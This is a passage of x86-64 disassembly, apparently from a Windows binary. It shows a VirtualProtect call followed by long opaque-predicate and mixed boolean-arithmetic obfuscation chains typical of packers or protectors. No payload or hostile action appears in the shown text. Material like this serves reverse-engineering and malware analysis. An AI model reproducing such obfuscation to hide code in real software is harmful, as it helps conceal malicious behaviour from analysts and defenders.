add rcx, rax
sub rcx, rbp
movabs rax, 0xfd902c15700abac9
add rcx, rax
movabs rbp, 0xac08dc90d4fa9adf
add rcx, rbp
sub rcx, rax
movabs rax, 0xd82b590ddd41a1f
sub rcx, rax
sub rcx, rbp
mov r9, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x1400c5670]
lea r9d, [rax - 1]
imul r9d, eax
mov ecx, r9d
not ecx
mov eax, ecx
mov ebx, ecx
and eax, 0x5010a06a
mov ecx, r9d
and ecx, 0x25c50100
or ecx, eax
mov edx, ecx
xor edx, 0x10100
xor ecx, 0xa120a69
mov ebp, ebx
or ebp, 0x75d5a16a
mov eax, ebp
not eax
and ecx, 0x2fd60a69
and edx, 0x5001a102
or edx, ecx
and ebp, 0x2fd60a69
and eax, 0x80285494
or eax, ebp
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0xeac43e11
and eax, 0x153bc1ee
or eax, ecx
mov edx, eax
xor edx, 0x6c0084
xor eax, 0xd001b71
and eax, 0x6d827b71
and edx, 0x927d848e
or edx, eax
mov ecx, edx
xor ecx, 0x927d848e
xor edx, 0x69821b31
and edx, 0x7bc69b33
mov eax, ecx
and eax, 0x843964cc
or eax, edx
xor eax, 0xe87d3a88
and ecx, 0x93bba1bb
or ecx, eax
mov edx, ecx
not edx
mov ebp, ebx
mov esi, ebx
mov dword [rsp + 0x48], ebx
and ebp, 0x6c445e44
mov eax, r9d
xor eax, 0x93bba1bb
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0xb948ce27
and eax, 0x46b731d8
or eax, ebp
mov ebp, eax
xor ebp, 0x46b731d8
xor eax, 0xb948ce27
and ebp, ecx
or ecx, eax
not ecx
and eax, edx
or eax, ebp
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x93bba1bb
and eax, 0x6c445e44
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x9fab3abd
mov ebp, edx
and ebp, eax
and edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5905aad5
and ebp, 0xa6fa552a
or ebp, edi
or ecx, ebx
and ebx, 0x5905aad5
and edx, 0xa6fa552a
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
and edx, 0x9fab3abc
not ecx
and ecx, 0x6054c543
or ecx, edx
mov edx, eax
and edx, 0xfffffffe
xor eax, 0xfffffffe
or eax, edx
mov edx, eax
not edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x7939404
and ecx, 0xf86c6bfb
or ecx, ebx
or ebp, eax
and eax, 0x7939404
and edx, 0xf86c6bfb
or edx, eax
xor edx, ecx
not ebp
or ebp, edx
mov eax, ebp
xor eax, 0xbeee6312
and eax, ebp
not ebp
and ebp, 0xbeee6312
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x312ec0da
and eax, 0xced13f25
or eax, ecx
mov ecx, eax
xor ecx, 0x30191816
xor eax, 0x2000088
and ecx, 0xbdd9bb56
and eax, 0x422644a9
or eax, ecx
mov r12d, eax
xor r12d, 0x2141b214
xor eax, 0x2200008
and eax, 0x9eb8094a
and r12d, 0x6147f6b5
or r12d, eax
mov r11d, r12d
xor r11d, 0x6147f6b5
xor r12d, 0x9eb8094a
mov eax, esi
and eax, 0xf1041733
mov ebp, r9d
and ebp, 0x60a0040
or ebp, eax
xor ebp, 0x60a0040
mov edx, r9d
and edx, 0x8f1e88c
or edx, ebp
mov eax, edx
not eax
and eax, 0x3bf16097
and edx, 0xc40e9f68
or edx, eax
mov ebx, edx
xor ebx, 0x3300881b
mov ebp, edx
xor ebp, 0xccff77e4
mov eax, ebx
or eax, 0xbe654ae0
mov edi, eax
not edi
xor edx, 0x729a3d04
and edx, ebx
mov esi, edx
not esi
mov ecx, eax
and ecx, 0xb764c14
and edi, 0x4088b10b
or edi, ecx
or eax, esi
and esi, 0xb764c14
and edx, 0xf489b3eb
or edx, esi
xor edx, edi
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x77cd602b
and eax, 0x88329fd4
or eax, ecx
mov edx, eax
xor edx, 0x9800280
and ebx, 0xe2f422b0
mov ecx, ebp
and ecx, 0x1d0bdd4f
or ecx, ebx
xor ecx, 0xe2f422b1
and ebp, 1
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x779232b6
and ebp, 0x886dcd49
or ebp, ecx
mov ecx, ebp
xor ecx, 0x8004501
xor eax, 0x3657d535
xor ebp, 0x779232b6
mov ebx, eax
and ebx, 0xf47db85a
and edx, 0xb8247a5
or edx, ebx
or eax, ebp
and ebp, 0xf47db85a
and ecx, 0xb8247a5
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov r13d, eax
not r13d
and eax, 0x304b11f9
and r13d, 0xcfb4ee06
or r13d, eax
mov esi, r13d
xor esi, 0x304b11f9
mov r14d, r13d
xor r14d, 0xcfb4ee06
mov eax, r12d
and eax, 0x45232908
mov ecx, r11d
and ecx, 0xa0088465
or ecx, eax
xor ecx, 0xa0088465
mov r15d, r11d
and r15d, 0x1ad45292
or r15d, ecx
mov eax, r15d
not eax
and eax, 0x1ad45292
and r15d, 0xe52bad6d
or r15d, eax
mov eax, r14d
and eax, 0x671c9f5d
xor r13d, 0x57578ea4
and r13d, esi
mov ecx, eax
and ecx, r13d
xor r13d, eax
or r13d, ecx
mov eax, r13d
not eax
and eax, 0x98e360a2
and r13d, 0x671c9f5d
or r13d, eax
mov r10d, r15d
not r10d
mov eax, r10d
and eax, 0x10dd6dc1
mov ecx, r15d
and ecx, 0xef22923e
or ecx, eax
mov r8d, ecx
xor r8d, r10d
and r8d, ecx
mov eax, r12d
and eax, 0x60e6a93e
and r11d, 0x9f1956c1
or r11d, eax
xor r11d, 0x8fc43b00
xor r12d, r11d
and r12d, r11d
mov r11d, r13d
not r11d
mov eax, r11d
and eax, 0xf4a0d118
mov edx, r13d
and edx, 0xb5f2ee7
or edx, eax
mov ecx, edx
xor ecx, 0xb5f2ee7
xor edx, 0x94a0d018
and edx, 0x97faf67a
mov eax, ecx
and eax, 0x68050985
or eax, edx
xor eax, 0x87279bbb
and ecx, 0x10dd6dc1
or ecx, eax
mov eax, r14d
and eax, 0xef22923e
and esi, 0x10dd6dc1
or esi, eax
xor r14d, esi
and r14d, esi
mov ebp, r8d
not ebp
mov eax, ebp
and eax, 0x85a019db
and r8d, 0x7a5fe624
or r8d, eax
mov eax, r8d
xor eax, 0x7a5fe624
mov ebx, r8d
xor ebx, 0x7bac4d9b
and ebx, eax
or ebp, 0xfe0c5440
mov esi, ebx
not esi
mov edi, esi
and edi, 0x50dd3083
and ebx, 0xaf22cf7c
or ebx, edi
mov edx, ebp
not edx
or esi, ebp
and ebp, 0x50dd3083
and edx, 0x1228b3c
or edx, ebp
mov edi, r12d
not edi
xor edx, ebx
mov ebx, r12d
xor ebx, 0xfe0c5440
not esi
or esi, edx
mov edx, ebx
and edx, edi
and ebx, r12d
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov edx, esi
not edx
and edx, 0x6676d79a
and esi, 0x99892865
or esi, edx
mov edx, ebx
not edx
and edx, 0x6676d79a
and ebx, 0x99892865
or ebx, edx
xor ebx, esi
xor r8d, 0x85a019db
mov edx, r8d
and edx, 0x8e46491c
and eax, 0x71b9b6e3
or eax, edx
mov esi, ecx
not esi
or r8d, r12d
and r12d, 0x8e46491c
and edi, 0x71b9b6e3
or edi, r12d
xor edi, eax
not r8d
or r8d, edi
mov eax, r8d
not eax
and eax, 0x314d932b
and r8d, 0xceb26cd4
or r8d, eax
xor r8d, 0xceb26cd4
mov eax, ebx
and eax, r8d
xor r8d, ebx
or r8d, eax
and ecx, 0xc03be383
mov edx, esi
and edx, 0x3fc41c7c
or edx, ecx
mov r12d, edx
xor r12d, 0x3fc41c7c
mov edi, r14d
mov eax, r14d
xor eax, 0xb00eedf8
and eax, r14d
not r14d
and r14d, 0xaf153cec
and edi, 0x50eac313
or edi, r14d
mov ecx, edi
xor ecx, 0x50eac313
xor edx, 0x70350e7b
and edx, r12d
and esi, 0x4ff11207
xor edi, 0x1f1bd114
and edi, ecx
mov ebx, edx
and ebx, esi
xor esi, edx
or esi, ebx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x28de5867
and edi, 0xd721a798
or edi, ebx
mov ebx, eax
not ebx
or edx, ebx
and ebx, 0x28de5867
and eax, 0xd721a798
or eax, ebx
xor eax, edi
not edx
or edx, eax
mov eax, esi
not eax
and eax, 0x92900e2c
and esi, 0x6d6ff1d3
or esi, eax
mov eax, edx
not eax
and eax, 0x92900e2c
and edx, 0x6d6ff1d3
or edx, eax
xor edx, esi
mov eax, r12d
and eax, ecx
xor ecx, r12d
mov r14d, dword [0x1400c566c]
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, r8d
not eax
mov edx, eax
and edx, 0x41c34a92
and r8d, 0xbe3cb56d
or r8d, edx
or eax, ecx
not ecx
xor r8d, 0x41c34a92
or r8d, ecx
mov ecx, r8d
not ecx
mov edx, r8d
and edx, 0x76f131a8
and ecx, 0x890ece57
or ecx, edx
mov edx, eax
not edx
or r8d, eax
and eax, 0x76f131a8
and edx, 0x890ece57
or edx, eax
xor edx, ecx
not r8d
or r8d, edx
mov eax, r15d
xor eax, r11d
and eax, r15d
and r10d, 0x75fd67a0
and r15d, 0x8a02985f
or r15d, r10d
and r11d, 0x75fd67a0
and r13d, 0x8a02985f
or r13d, r11d
xor r13d, r15d
mov ecx, eax
not ecx
mov edx, r13d
not edx
mov ebp, ecx
and ebp, 0xcc319e33
and eax, 0x33ce61cc
or eax, ebp
or ecx, edx
and edx, 0xcc319e33
and r13d, 0x33ce61cc
or r13d, edx
xor r13d, eax
not ecx
or ecx, r13d
mov edx, ecx
mov eax, ecx
xor eax, 0x39f534ee
and eax, ecx
not ecx
and ecx, 0x15534ec
and edx, 0x38a00002
or edx, ecx
xor edx, 0x38a00002
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1a9e2944
and eax, 0xe561d6bb
or eax, ecx
mov ecx, eax
xor ecx, 0x8048241
xor eax, 0x236b1daa
mov edx, eax
and edx, 0xd599613c
and ecx, 0x2a669ec3
or ecx, edx
xor ecx, 0xd599613c
xor eax, ecx
and eax, ecx
mov ecx, r8d
not ecx
and ecx, eax
not eax
mov edx, r8d
xor edx, eax
and edx, r8d
and eax, r8d
or eax, ecx
mov ebp, edx
not ebp
mov ecx, eax
not ecx
mov ebx, ebp
and ebx, 0xf38e843
and edx, 0xf0c717bc
or edx, ebx
or ebp, ecx
and ecx, 0xf38e843
and eax, 0xf0c717bc
or eax, ecx
xor eax, edx
not ebp
or ebp, eax
mov esi, ebp
not esi
mov ecx, ebp
xor ecx, 0xbd5df41f
and ecx, ebp
mov eax, ebp
or eax, 0x42a20be0
mov edx, ecx
not edx
mov edi, eax
and edi, 0x3f9a37e8
mov ebx, esi
and ebx, 0x6b4b830
and ebp, 0xf94b47cf
or ebp, ebx
xor ebp, 0x6b4b830
or ebp, esi
and esi, 0x8045c017
or esi, edi
or eax, edx
and edx, 0x3f9a37e8
and ecx, 0xc065c817
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xfec857f7
and eax, 0x137a808
or eax, ecx
mov ecx, eax
xor ecx, 0xb40a1c07
xor eax, 0x4011a328
and ecx, 0xb78e1cc7
and eax, 0x4871e338
or eax, ecx
mov ecx, eax
xor ecx, 0x8118110
mov edx, ebp
not edx
xor eax, 0xb78e1cc7
mov r8d, eax
or r8d, ebp
mov esi, r8d
not esi
and eax, 0xc5ea6eac
and ecx, 0x3a159153
or ecx, eax
and ebp, 0xc5ea6eac
and edx, 0x3a159153
or edx, ebp
xor edx, ecx
mov eax, edx
not eax
mov ecx, r8d
and ecx, 0x4dd883c2
and esi, 0xb2277c3d
or esi, ecx
or r8d, eax
and eax, 0x4dd883c2
and edx, 0xb2277c3d
or edx, eax
xor edx, esi
not r8d
or r8d, edx
mov ecx, r9d
or ecx, 0x18970e39
mov eax, ecx
not eax
mov edx, r9d
xor edx, 0xe768f1c6
and edx, r9d
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x8d19034
and eax, 0xe72861c2
or eax, ebx
or ecx, ebp
and ebp, 0x8d19034
and edx, 0xf72e6fcb
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x18970e39
and ecx, 0xe768f1c6
or ecx, eax
mov eax, ecx
not eax
and eax, 0x588041e1
and ecx, 0xa77fbe1e
or ecx, eax
mov r10d, ecx
xor r10d, 0xa77fbe1e
xor ecx, 0x48800080
and ecx, 0x6ae58a9c
mov edx, r10d
and edx, 0x951a7563
or edx, ecx
xor edx, 0x86d624fa
and r10d, 0xec33ae66
or r10d, edx
mov ecx, r10d
not ecx
and ecx, 0x9aa88edc
and r10d, 0x65577123
or r10d, ecx
mov ecx, r10d
xor ecx, 0x65577123
mov edx, r10d
xor edx, 0x90808e84
mov eax, dword [rsp + 0x48]
and eax, 0x7ef3e5d7
and r9d, 0x810c1a28
or r9d, eax
mov esi, r9d
xor esi, 0x810c1a28
xor r9d, 0x5cc10106
and r9d, 0x5dc10106
mov edi, esi
and edi, 0xa23efef9
or edi, r9d
xor edi, 0x4e0d509f
and esi, 0x13cc5199
or esi, edi
and edx, 0x9581df87
xor r10d, 0x7e3916d3
and r10d, ecx
and ecx, 0x6a7e2078
or ecx, edx
mov ebp, ecx
xor ebp, 0x6a7e2078
xor ecx, 0x8eefb877
and ecx, ebp
mov ebx, esi
xor ebx, 0xe491980f
mov r9d, ebx
and r9d, esi
mov edi, ebp
and edi, esi
xor ebp, esi
not esi
and ebx, esi
mov esi, ecx
not esi
mov eax, r10d
not eax
mov edx, esi
and edx, 0xb7129159
and ecx, 0x48ed6ea6
or ecx, edx
or esi, eax
and eax, 0xb7129159
and r10d, 0x48ed6ea6
or r10d, eax
xor r10d, ecx
not esi
or esi, r10d
mov eax, r9d
and eax, ebx
xor ebx, r9d
or ebx, eax
mov eax, esi
not eax
and eax, ebx
not ebx
and ebx, esi
or ebx, eax
or ebp, edi
not ebp
mov eax, ebx
and eax, ebp
xor ebp, ebx
or ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0xec33ae66
and ecx, ebp
or ebp, 0x13cc5199
mov edx, ecx
not edx
mov ebx, ebp
and ebx, 0x76d3c7f
and eax, 0xe8128200
or eax, ebx
or ebp, edx
and edx, 0x76d3c7f
and ecx, 0xf892c380
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
not r8d
mov eax, ebp
not eax
mov ecx, r8d
and ecx, eax
xor eax, r8d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa98c3159
and eax, 0x5673cea6
or eax, ecx
mov ebx, eax
xor ebx, 0x5673cea6
xor eax, 0xa98c3159
mov ecx, r8d
xor ecx, ebp
not ecx
and ecx, ebp
or r8d, ebp
not r8d
mov ebp, ecx
and ebp, r8d
xor r8d, ecx
or r8d, ebp
mov ebp, r8d
not ebp
mov edx, ebx
xor edx, ebp
and edx, ebx
and r8d, eax
and ebp, ebx
or ebp, r8d
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0x562bd5f3
mov ecx, ebp
and ecx, 0xa9d42a0c
or ecx, edx
mov edx, ecx
xor edx, 0x21c42004
xor ecx, 0x16231161
and ecx, 0x9e331b69
and edx, 0x61cce496
or edx, ecx
mov ecx, edx
xor ecx, 0xe031868
xor edx, 0x21cc0010
and edx, 0xb1fc0311
and ecx, 0x4e03fcee
or ecx, edx
mov ebx, ecx
xor ebx, 0xb1fc0311
and ebx, ecx
mov ecx, eax
and ecx, 0x4e03fcee
and ebp, 0xb1fc0311
or ebp, ecx
xor eax, ebp
and eax, ebp
mov edx, ebx
mov ebp, ebx
xor ebp, 0xfb8cdd2a
and ebp, ebx
not ebx
and ebx, 0xf7bad253
and edx, 0x8452dac
or edx, ebx
mov r8d, edx
xor r8d, 0x8452dac
mov edi, eax
mov ecx, eax
xor ecx, 0xfb8cdd2a
and ecx, eax
not eax
and eax, 0xe6cb404f
and edi, 0x1934bfb0
or edi, eax
mov eax, edi
xor eax, 0x1934bfb0
xor edx, 0xc360f79
and edx, r8d
xor edi, 0x1d479d65
and edi, eax
mov esi, edx
not esi
mov ebx, ebp
not ebx
mov r9d, esi
and r9d, 0xddb2f38
and edx, 0xf224d0c7
or edx, r9d
or esi, ebx
and ebx, 0xddb2f38
and ebp, 0xf224d0c7
or ebp, ebx
xor ebp, edx
not esi
or esi, ebp
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, esi
not edx
and edx, ecx
not ecx
and ecx, esi
or ecx, edx
mov edx, r8d
and edx, eax
xor eax, r8d
or eax, edx
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0xb1fc0311
and edx, eax
not eax
and eax, 0xc80300
and ecx, 0xb1340011
or ecx, eax
xor ecx, 0xb1340011
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x87267134
and edx, 0x78d98ecb
or edx, ecx
mov ecx, edx
xor ecx, 0x7220034
xor edx, 0x38c880c9
and edx, 0xb8ccf1c9
and ecx, 0x47330e36
or ecx, edx
xor ecx, 0x47330e36
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xd5018dc2
and ecx, 0x2afe723d
or ecx, eax
xor ecx, 0x2afe723d
sete r10b
mov byte [rsp + 0x48], r10b
setne r11b
cmp r14d, 0xa
setl al
mov byte [rsp + 0x3a], al
cmp r14d, 9
setg dl
mov byte [rsp + 0x39], dl
mov r13d, edx
xor r13b, al
mov ecx, r13d
and cl, dl
mov byte [rsp + 0x38], cl
mov r12d, ecx
xor r12b, 1
mov eax, ecx
and al, r12b
xor al, 1
mov byte [rsp + 0x40], al
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
mov ecx, r9d
or cl, al
xor cl, 1
mov ebx, ecx
xor bl, al
mov r8d, ebx
xor r8b, 1
or cl, al
xor cl, 1
or cl, bl
xor bl, cl
xor bl, 1
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and al, r9b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov r8d, eax
xor r8b, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, ebx
xor dl, 1
and dl, al
and bl, r8b
or bl, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov esi, eax
and sil, cl
xor al, sil
xor sil, 1
or sil, cl
xor sil, 1
or sil, al
mov byte [rsp + 0x3c], r11b
mov r14d, r11d
xor r14b, r10b
and r14b, r11b
mov eax, r14d
xor al, 1
mov r15d, r14d
and r15b, al
mov edx, r15d
xor dl, al
mov edi, r15d
xor dil, 1
mov r10d, edi
or r10b, r14b
xor r10b, 1
or r10b, dl
mov ecx, r10d
xor cl, 1
mov ebx, eax
xor bl, dil
or dil, al
xor dil, 1
or dil, bl
mov byte [rsp + 0x3b], dil
and cl, dil
xor dil, 1
and r10b, dil
or r10b, cl
mov r8d, eax
and r15b, al
mov ecx, eax
xor cl, r14b
or r8b, r14b
or r15b, dl
mov eax, r15d
xor al, r8b
mov byte [rsp + 0x47], al
or r15b, r8b
xor r8b, 1
or r8b, cl
xor r10b, 1
mov ecx, r10d
xor cl, r8b
or r10b, r8b
xor r10b, 1
or r10b, cl
mov r9d, r10d
xor r9b, 1
mov ebp, r9d
and bpl, r10b
mov ecx, ebp
xor cl, 1
mov eax, ebp
and al, cl
mov r8d, eax
xor al, bpl
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, al
xor r8b, r10b
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
mov eax, ecx
xor al, r8b
xor r8b, 1
or r8b, cl
mov ebp, esi
xor bpl, 1
xor al, 1
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
or al, r8b
xor r8b, al
and r8b, al
mov r10d, ebp
and r10b, sil
mov eax, ebp
and al, r10b
mov ecx, ebp
xor cl, r10b
or cl, al
xor cl, 1
mov eax, ebp
or al, sil
xor al, 1
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
mov r11d, eax
xor r11b, 1
mov ecx, eax
and cl, r11b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor cl, 1
or cl, r9b
xor bpl, sil
or bpl, r10b
mov r9d, ebp
xor r9b, 1
mov edx, r9d
and dl, bpl
xor r9b, dl
xor dl, 1
or dl, bpl
xor dl, 1
or dl, r9b
mov r9d, r13d
xor r9b, 1
and r13b, r9b
mov r10d, r9d
and r10b, r13b
xor r13b, r9b
or r13b, r10b
mov r9d, ecx
xor r9b, 1
mov r10d, ecx
xor r10b, dl
xor r10b, 1
or cl, r10b
and r10b, dl
xor dl, r9b
and dl, r9b
xor r10b, 1
xor dl, 1
mov r9d, r10d
xor r9b, dl
or dl, r10b
xor dl, 1
or dl, r9b
mov r9d, edx
and dl, cl
xor cl, 1
xor r9b, 1
mov r10d, ecx
xor r10b, r9b
and r10b, cl
and r9b, cl
or r9b, dl
xor r10b, 1
xor r9b, 1
mov ecx, r10d
xor cl, r9b
or r9b, r10b
xor r9b, 1
or r9b, cl
mov esi, r13d
xor sil, 1
mov ebp, esi
and bpl, r13b
mov r10d, esi
and r10b, bpl
xor bpl, sil
or bpl, r10b
mov edx, ebp
xor dl, 1
mov ecx, ebp
or cl, dl
xor r13b, cl
or cl, sil
mov r10d, ecx
xor r10b, r13b
or cl, r13b
xor cl, 1
or cl, r10b
xor cl, 1
mov r10d, ecx
mov r13b, byte [rsp + 0x39]
or r10b, r13b
xor cl, r13b
not cl
and cl, r13b
mov esi, r10d
xor sil, cl
xor cl, 1
or cl, r10b
xor sil, 1
xor cl, 1
or cl, sil
mov r10d, r13d
or r10b, dl
and bpl, r13b
mov bl, byte [rsp + 0x3a]
and dl, bl
or dl, bpl
xor r10b, 1
mov esi, r10d
and sil, dl
xor dl, r10b
or dl, sil
xor dl, 1
mov r10d, ecx
xor r10b, dl
or dl, cl
xor dl, 1
or dl, r10b
xor dl, 1
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov r10d, r9d
xor r10b, 1
mov ecx, edx
xor cl, 1
mov esi, r9d
and sil, cl
mov ebp, edx
and bpl, r10b
or bpl, sil
mov esi, ebp
xor sil, cl
and sil, bpl
and cl, dl
xor cl, 1
mov ebp, edx
xor bpl, cl
or cl, dl
xor cl, 1
or cl, bpl
xor cl, r9b
or cl, r10b
mov r9d, ecx
xor r9b, 1
mov edx, ecx
and dl, r9b
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
xor dl, sil
mov ecx, esi
xor cl, r9b
or r9b, sil
xor r9b, 1
or r9b, cl
mov ecx, edx
xor cl, r9b
or r9b, dl
xor r9b, 1
or r9b, cl
mov ecx, eax
xor cl, bl
and bl, r11b
or r11b, r13b
xor r11b, 1
or r11b, cl
and al, r13b
or al, bl
mov ecx, r11d
xor cl, al
xor al, 1
or al, r11b
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r10d, ecx
xor r10b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r10b
mov r10d, edx
xor r10b, 1
or cl, al
mov eax, ecx
xor al, 1
and al, r10b
or r10b, cl
and cl, dl
or cl, al
xor cl, 1
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov r11d, ecx
xor r11b, 1
or cl, r11b
xor r11b, cl
and r11b, cl
mov ecx, r9d
xor cl, 1
mov eax, ecx
or al, r9b
mov r10d, eax
xor r10b, 1
mov edx, r9d
xor dl, cl
and dl, r9b
mov esi, edx
xor sil, al
and al, r10b
xor al, 1
mov ebp, r10d
xor bpl, al
or al, r10b
xor al, 1
or al, bpl
xor al, dl
or dl, r10b
xor al, 1
xor sil, 1
xor dl, 1
or dl, sil
xor dl, 1
mov r10d, eax
and r10b, dl
xor dl, al
mov esi, r11d
xor sil, 1
or dl, r10b
mov r10d, esi
or r10b, r11b
mov r13d, r10d
xor r13b, 1
mov ebp, r13d
xor bpl, sil
and bpl, r13b
and r10b, r11b
and r13b, sil
or r13b, r10b
mov r10d, ebp
xor r10b, 1
xor bpl, r13b
xor r13b, 1
or r13b, r10b
xor r13b, 1
or r13b, bpl
xor r13b, 1
mov r10d, r13d
or r10b, dl
xor r13b, dl
xor r13b, 1
and r13b, dl
xor r10b, 1
mov edx, r10d
and dl, r13b
xor r13b, r10b
or r13b, dl
and sil, r9b
mov edx, ecx
xor dl, r11b
and dl, cl
and cl, r11b
or cl, sil
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov edx, ecx
xor dl, r13b
xor r13b, 1
or r13b, cl
mov ecx, edx
xor cl, r13b
or r13b, dl
xor r13b, 1
or r13b, cl
mov ecx, r8d
xor cl, 1
mov edx, r14d
xor dl, r8b
and r14b, dl
and dl, r8b
mov r9d, r14d
and r9b, dl
xor dl, r14b
or dl, r9b
mov r9d, edx
xor r9b, cl
xor dl, r9b
xor dl, 1
and dl, r9b
or cl, r8b
mov eax, ecx
xor al, 1
and al, cl
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
xor al, r8b
mov r9d, r8d
and r9b, cl
xor cl, r8b
or cl, r9b
xor cl, 1
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov eax, edi
mov bl, byte [rsp + 0x3b]
and al, bl
mov r8d, edi
and r8b, al
xor al, dil
or al, r8b
xor al, 1
or dil, bl
xor dil, 1
mov r8d, eax
and r8b, dil
xor dil, al
or dil, r8b
mov eax, edi
xor al, 1
or al, cl
xor cl, 1
or cl, dil
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov r9d, ecx
xor r9b, 1
mov r8d, edx
xor r8b, 1
mov eax, ecx
and al, r9b
mov ebx, eax
xor bl, 1
or bl, r9b
and r9b, r8b
and dl, cl
or dl, r9b
xor dl, 1
or dl, r8b
xor dl, 1
xor al, cl
xor bl, 1
or bl, al
xor bl, r8b
xor bl, dl
mov eax, ebx
xor al, 1
and bl, dl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov r9d, r13d
xor r9b, 1
mov ecx, r9d
and cl, r13b
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov r10d, ebx
xor r10b, 1
mov eax, edx
or al, bl
xor al, 1
xor dl, bl
xor dl, 1
and dl, bl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
mov eax, edx
xor al, 1
mov r8d, r10d
and r8b, al
and dl, bl
or dl, r8b
xor dl, 1
or dl, al
mov eax, r10d
and al, bl
xor al, 1
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
xor al, 1
or r10b, bl
mov ebx, eax
xor bl, r10b
or r10b, al
mov eax, edx
xor al, 1
xor r10b, 1
or r10b, bl
mov ecx, r10d
xor cl, 1
or r10b, r13b
or cl, r9b
mov ebx, r10d
xor bl, cl
or cl, r10b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
xor cl, 1
mov ebx, edx
xor bl, cl
xor dl, bl
and dl, bl
xor bl, 1
and bl, cl
xor cl, al
and cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, edx
xor al, 1
mov r8d, edx
and r8b, al
mov ebx, r8d
and bl, dl
xor r8b, dl
or r8b, bl
mov edx, r8d
xor dl, 1
and dl, cl
xor cl, 1
and r8b, cl
or r8b, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor r8b, 1
mov eax, r8d
xor al, cl
or r8b, cl
xor r8b, 1
or r8b, al
mov al, byte [rsp + 0x38]
mov r10d, eax
xor r10b, r12b
and r10b, al
mov edx, eax
mov esi, r10d
xor sil, 1
xor r15b, 1
or r15b, byte [rsp + 0x47]
mov eax, r15d
xor al, 1
and r15b, al
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov edi, r10d
and dil, sil
xor dil, 1
mov r11d, edi
or r11b, sil
mov ebp, r11d
xor bpl, 1
mov ecx, r12d
mov al, byte [rsp + 0x40]
xor cl, al
or al, r12b
xor al, 1
or al, cl
or r12b, dl
mov ecx, r12d
xor cl, al
or r12b, al
xor r12b, 1
or r12b, cl
mov r9d, r12d
xor r9b, 1
xor dil, sil
or dil, bpl
xor dil, r15b
xor r15b, sil
mov ecx, r11d
and cl, bpl
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
and r9b, r12b
mov eax, r12d
and al, r9b
xor r9b, r12b
or r9b, al
mov r14d, ecx
xor r14b, 1
or r11b, bpl
mov edx, r11d
xor dl, 1
mov ebx, edx
and bl, r11b
mov esi, ebx
